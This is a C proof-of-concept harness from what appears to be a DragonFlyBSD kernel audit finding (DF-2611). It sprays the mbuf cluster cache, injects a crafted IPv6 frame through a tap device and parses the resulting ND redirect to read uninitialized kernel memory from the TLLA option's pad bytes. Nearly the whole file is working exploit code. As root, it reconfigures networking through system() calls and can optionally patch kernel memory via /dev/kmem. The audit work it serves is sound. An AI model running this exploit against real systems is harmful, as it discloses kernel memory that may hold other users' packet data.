DragonFlyBSD Kernel Audit
DF-2611 / tap_rdr.c
← back to finding ↓ download raw
/*
 * tap_rdr.c -- DF-2611 live harness.
 *
 * Opens /dev/tap (auto-clones tap0 on first open), then:
 *
 *   hold                       keep the device open (background), exit on
 *                              SIGTERM. Used during setup so tap0 exists.
 *
 *   trigger N [spray]          N iterations of:
 *                                (optional) spray the cluster cache with a
 *                                recognizable pattern via ::1 UDP datagrams
 *                                to a 2KB-rcvbuf sink (alloc + immediate
 *                                free of dirty clusters),
 *                                inject one transit Ethernet+IPv6+UDP frame
 *                                into tap0 (received by the kernel),
 *                                read the ND_REDIRECT the router emits back
 *                                out tap0, parse the ND options, print the
 *                                target-link-layer-address (TLLA) option and
 *                                its pad bytes [2+if_addrlen, len).
 *
 * Expected leak (if_addrlen patched to 8): TLLA option length 16 bytes,
 * bytes [10,16) are uninitialized mbuf-cluster contents -> carry the spray
 * pattern or stale packet data instead of zero.
 *
 * run as root.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <poll.h>

#define ATTACK_MAC	"\x02\x00\xde\xad\xbe\xef"
#define GW_IP6		"fe80::42:1"
#define ATK_IP6		"2001:db8:1::2"
#define DST_IP6		"2001:db8:cafe::1"
#define SPRAY_PORT	47001
#define SPRAY_LEN	1400
#define SPRAY_N		120

static int tapfd = -1;
static uint8_t ourmac[6];

static void
hexdump(const uint8_t *b, size_t n, const char *pfx)
{
	size_t i;

	for (i = 0; i < n; i++) {
		if (i % 16 == 0)
			printf("%s%04zx:", pfx, i);
		printf(" %02x", b[i]);
		if (i % 16 == 15 || i + 1 == n)
			printf("\n");
	}
}

static int
get_our_mac(void)
{
	/* if_tap.c:819 SIOCGIFADDR copies sc->ether_addr (6 raw bytes) */
	if (ioctl(tapfd, SIOCGIFADDR, ourmac) < 0) {
		perror("SIOCGIFADDR on tap");
		return -1;
	}
	return 0;
}

static void
build_frame(uint8_t *frame, int *flen, int iter)
{
	struct sockaddr_in6 s;
	uint8_t *ip6;
	uint16_t plen;

	memcpy(frame, ourmac, 6);
	memcpy(frame + 6, ATTACK_MAC, 6);
	frame[12] = 0x86; frame[13] = 0xdd;

	ip6 = frame + 14;
	ip6[0] = 0x60;		/* v6, tc 0, flow 0 */
	memset(ip6 + 1, 0, 3);
	plen = 8;			/* UDP header only, no payload */
	ip6[4] = plen >> 8; ip6[5] = plen & 0xff;
	ip6[6] = 17;			/* NXT_UDP */
	ip6[7] = 64;			/* hlim */
	memset(&s, 0, sizeof(s));
	inet_pton(AF_INET6, ATK_IP6, &s.sin6_addr);
	memcpy(ip6 + 8, &s.sin6_addr, 16);
	inet_pton(AF_INET6, DST_IP6, &s.sin6_addr);
	memcpy(ip6 + 24, &s.sin6_addr, 16);
	/* UDP */
	ip6[40] = 0x12; ip6[41] = 0x34;	/* sport */
	ip6[42] = 0x56; ip6[43] = 0x78;	/* dport */
	ip6[44] = plen >> 8; ip6[45] = plen & 0xff;
	ip6[46] = 0; ip6[47] = 0;	/* cksum: bad, forwarding does not care */

	*flen = 14 + 40 + 8;
	(void)iter;
}

static int
spray(int iter)
{
	struct sockaddr_in6 dst;
	uint8_t buf[SPRAY_LEN];
	int s, i, rc = 0, one = 1;
	int rcvbuf = 2048;

	s = socket(AF_INET6, SOCK_DGRAM, 17);
	if (s < 0)
		return -1;
	memset(&dst, 0, sizeof(dst));
	dst.sin6_family = AF_INET6;
	dst.sin6_port = htons(SPRAY_PORT);
	inet_pton(AF_INET6, "::1", &dst.sin6_addr);
	/* small receive buffer on the sender itself does nothing; instead we
	 * send to a sink socket created below. */
	(void)one; (void)rcvbuf;

	memset(buf, 0, sizeof(buf));
	for (i = 0; i < SPRAY_LEN; i++)
		buf[i] = (uint8_t)(0xb0 | ((iter + (i / 64)) & 0x0f));
	/* marker so we can attribute pad bytes to a spray round */
	buf[0] = 'D'; buf[1] = 'F'; buf[2] = '2'; buf[3] = '6';
	buf[4] = (uint8_t)iter; buf[5] = 0x11;

	for (i = 0; i < SPRAY_N; i++) {
		if (sendto(s, buf, sizeof(buf), 0,
		    (struct sockaddr *)&dst, sizeof(dst)) < 0) {
			rc = -1;
			break;
		}
	}
	close(s);
	return rc;
}

static int
make_sink(void)
{
	struct sockaddr_in6 s6;
	int s, rcvbuf = 2048;

	s = socket(AF_INET6, SOCK_DGRAM, 17);
	if (s < 0)
		return -1;
	memset(&s6, 0, sizeof(s6));
	s6.sin6_family = AF_INET6;
	s6.sin6_addr = in6addr_any;
	s6.sin6_port = htons(SPRAY_PORT);
	if (bind(s, (struct sockaddr *)&s6, sizeof(s6)) < 0) {
		perror("bind sink");
		close(s);
		return -1;
	}
	setsockopt(s, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
	return s;
}

static void
parse_redirect(uint8_t *frame, int flen, int iter)
{
	uint8_t *ip6;
	int i, olen, otype, ip6len;
	uint8_t *opt;

	if (flen < 14 + 40 + 40) {
		printf("iter %d: frame too short (%d)\n", iter, flen);
		return;
	}
	ip6 = frame + 14;
	if ((ip6[0] >> 4) != 6 || ip6[6] != 58) {
		printf("iter %d: not ICMPv6\n", iter);
		return;
	}
	ip6len = 40 + ((ip6[4] << 8) | ip6[5]);
	if (ip6[40] != 137) {
		printf("iter %d: icmp6 type %u (not redirect)\n", iter,
		    ip6[40]);
		return;
	}
	printf("iter %d: ND_REDIRECT (hlen=%d, ip6len=%d, frame=%d)\n",
	    iter, 40, ip6len, flen);

	i = 94;	/* 14 eth + 40 ip6 + 40 nd_redirect */
	while (i + 2 <= 14 + ip6len && i + 2 <= flen) {
		opt = frame + i;
		otype = opt[0];
		olen = opt[1] * 8;
		if (olen == 0)
			break;
		printf("  option type=%d len=%d at %d\n", otype, olen, i);
		if (otype == 2) {	/* ND_OPT_TARGET_LINKADDR */
			int j;
			printf("  TLLA bytes:");
			for (j = 2; j < olen; j++)
				printf(" %02x", opt[j]);
			printf("\n");
			/* pad is [2+addrlen, olen); caller knows addrlen */
			printf("PADINFO iter %d optlen %d\n", iter, olen);
		}
		i += olen;
	}
}

int
main(int argc, char **argv)
{
	uint8_t frame[1600], rbuf[2048];
	int flen, n, i, iters, do_spray, patch_addrlen = 0, sink = -1;
	struct pollfd pfd;
	int got = 0, none = 0;

	if (argc >= 2 && !strcmp(argv[1], "hold")) {
		signal(SIGTERM, SIG_DFL);
		tapfd = open("/dev/tap", O_RDWR);	/* clone: creates tap0 */
		if (tapfd < 0) {
			perror("open /dev/tap");
			return 2;
		}
		printf("tap held open (fd %d)\n", tapfd);
		fflush(stdout);
		for (;;)
			sleep(60);
	}

	if (argc < 3 || strcmp(argv[1], "trigger")) {
		fprintf(stderr, "usage: tap_rdr hold | "
		    "tap_rdr trigger N [nospray]\n"
		    "  (trigger performs the full setup itself: tap0 is\n"
		    "   exclusive-open, so one process must own it)\n");
		return 2;
	}
	iters = atoi(argv[2]);
	do_spray = 1;
	{
		int ai;
		for (ai = 3; ai < argc; ai++) {
			if (!strcmp(argv[ai], "nospray"))
				do_spray = 0;
			if (!strcmp(argv[ai], "patch8"))
				patch_addrlen = 1;
		}
	}

	tapfd = open("/dev/tap", O_RDWR);	/* clone: tap0 (or next) */
	if (tapfd < 0) {
		perror("open /dev/tap [run as root, kldload if_tap]");
		return 2;
	}
	/* single-owner setup: bring tap0 up, addresses, ND entries, route */
	{
		const char *cmds[] = {
			"sysctl -w net.inet6.ip6.dad_count=0",
			"ifconfig tap0 up",
			"ifconfig tap0 inet6 2001:db8:1::1/64 alias",
			"ndp -s fe80::42:1%tap0 02:00:00:00:00:01",
			"ndp -s 2001:db8:1::2 02:00:de:ad:be:ef",
			"route delete -inet6 2001:db8:cafe::/64",
			/* scoped gw is essential: rt_llroute() does
			 * rtlookup(rt_gateway) and an unscoped link-local
			 * key misses -> EHOSTUNREACH */
			"route add -inet6 -net 2001:db8:cafe::/64 "
			    "fe80::42:1%tap0",
			"sysctl -w net.inet6.ip6.forwarding=1",
			NULL
		};
		int ci;
		for (ci = 0; cmds[ci]; ci++)
			system(cmds[ci]);
	}
	sleep(1);	/* link-local autoconfig / route settle */
	if (patch_addrlen) {
		/* simulate a non-Ethernet-addrlen ND interface (e.g. fwip
		 * EUI-64) by rewriting tap0's ifi_addrlen via /dev/kmem */
		system("/root/poc/kmem_addrlen tap0 8");
	}
	if (get_our_mac() < 0)
		return 2;
	printf("tap0 mac %02x:%02x:%02x:%02x:%02x:%02x\n",
	    ourmac[0], ourmac[1], ourmac[2], ourmac[3], ourmac[4], ourmac[5]);

	if (do_spray) {
		sink = make_sink();
		if (sink < 0)
			return 2;
	}

	for (i = 1; i <= iters; i++) {
		uint8_t seen_redirect = 0;
		int sub;

		if (do_spray && spray(i) < 0) {
			perror("spray");
			break;
		}
		build_frame(frame, &flen, i);
		if (write(tapfd, frame, flen) != flen) {
			perror("write tap (inject)");
			break;
		}
		/* drain frames until the redirect (icmp6 type 137) shows up;
		 * tap0 also emits MLD reports etc. */
		for (sub = 0; sub < 20 && !seen_redirect; sub++) {
			pfd.fd = tapfd;
			pfd.events = POLLIN;
			n = poll(&pfd, 1, 300);
			if (n <= 0)
				break;
			n = read(tapfd, rbuf, sizeof(rbuf));
			if (n < 0) {
				perror("read tap");
				break;
			}
			if (n >= 14 + 40 + 8 && rbuf[12] == 0x86 &&
			    rbuf[13] == 0xdd && rbuf[20] == 58 &&
			    rbuf[54] == 137) {
				printf("=== iter %d: REDIRECT captured, %d "
				    "bytes out of tap0\n", i, n);
				hexdump(rbuf, n, "  ");
				parse_redirect(rbuf, n, i);
				seen_redirect = 1;
			} else {
				printf("iter %d: non-redirect frame (%d "
				    "bytes, ethertype %02x%02x icmp6 type "
				    "%u) -- draining\n", i, n, rbuf[12],
				    rbuf[13], n >= 55 ? rbuf[54] : 0);
				if (sub < 3)
					hexdump(rbuf, n, "    nr");
				if (n >= 55 && rbuf[54] == 1) {
					/* ICMPv6 dst unreach: decode code +
					 * quoted header */
					char a[64], b[64];
					struct in6_addr s6, d6;
					if (n >= 14 + 40 + 8 + 40) {
						memcpy(&s6, rbuf + 70, 16);
						memcpy(&d6, rbuf + 86, 16);
						inet_ntop(AF_INET6, &s6, a,
						    sizeof(a));
						inet_ntop(AF_INET6, &d6, b,
						    sizeof(b));
						printf("  unreach code=%u "
						    "quoted src %s dst %s\n",
						    rbuf[55], a, b);
					}
				}
			}
		}
		if (!seen_redirect) {
			printf("iter %d: no redirect observed\n", i);
			none++;
		} else
			got++;
	}
	printf("SUMMARY: iterations=%d redirects=%d none=%d\n", iters, got,
	    none);
	/* dump state + probe ND while tap0 still exists (destroyed on close) */
	system("ifconfig tap0 | head -4; ndp -an | grep tap0; "
	    "netstat -rn -f inet6 | grep -E 'cafe|db8:1'");
	system("ping6 -c 1 fe80::42:1%tap0 2>&1 | tail -3");
	printf("PROBE_DONE\n");
	return (got > 0) ? 0 : 1;
}